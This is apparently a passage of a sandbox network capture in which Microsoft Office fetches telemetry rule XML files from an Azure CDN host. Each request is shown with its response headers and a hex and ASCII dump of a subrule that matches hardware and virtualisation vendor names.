2024-11-15 12:18:31 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121831Z-16547b76f7fbkfmzhC1DFWm9tw00000000wg000000009hq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:31 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:31 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2d5e3293-901e-002a-4f00-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121831Z-16547b76f7f67wxlhC1DFWah9w0000000n50000000003tvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:32 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:32 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:32 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 806b7f82-201e-0003-669a-36f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121832Z-16547b76f7fknvdnhC1DFWxnys0000000n8g000000000nk5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:32 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:32 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121832Z-16547b76f7ffx24hhC1DFW9px400000000wg000000003b81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:32 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:32 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 767d9fc8-d01e-007a-76a1-36f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121832Z-164f84587bfbvgrghC1DFWbs7w000000014g000000008u4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:32 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:32 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:32 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: fb7cbe9f-c01e-00a2-7ec5-362327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121832Z-164f84587bfdl84ghC1DFWbbhc00000001eg000000008bcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:32 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:32 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:32 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 2c4fdaaf-601e-0032-31a7-34eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121832Z-1866b5c5fbbt75vghC1DFW0qd4000000013000000000bnz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 12:18:32 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:33 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 8514c3eb-001e-0082-0ba0-345880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121833Z-1866b5c5fbb5hnj5hC1DFW18sc00000001c000000000aw5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:33 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:33 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: a49129a8-d01e-008e-6b2a-36387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121833Z-164f84587bf6h2bxhC1DFWbcm800000001fg000000004x2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:33 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:33 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:33 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 1138df84-701e-0097-5940-36b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121833Z-1866b5c5fbbqjkpbhC1DFWt4h400000001gg000000004cbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:33 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:33 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:33 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 03bc4034-001e-00a2-3978-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121833Z-164f84587bf6h2bxhC1DFWbcm800000001g0000000003frh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:34 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: dbb3207c-001e-0082-2b06-365880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121834Z-164f84587bfffmgqhC1DFWk5ts00000001f00000000073qh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" 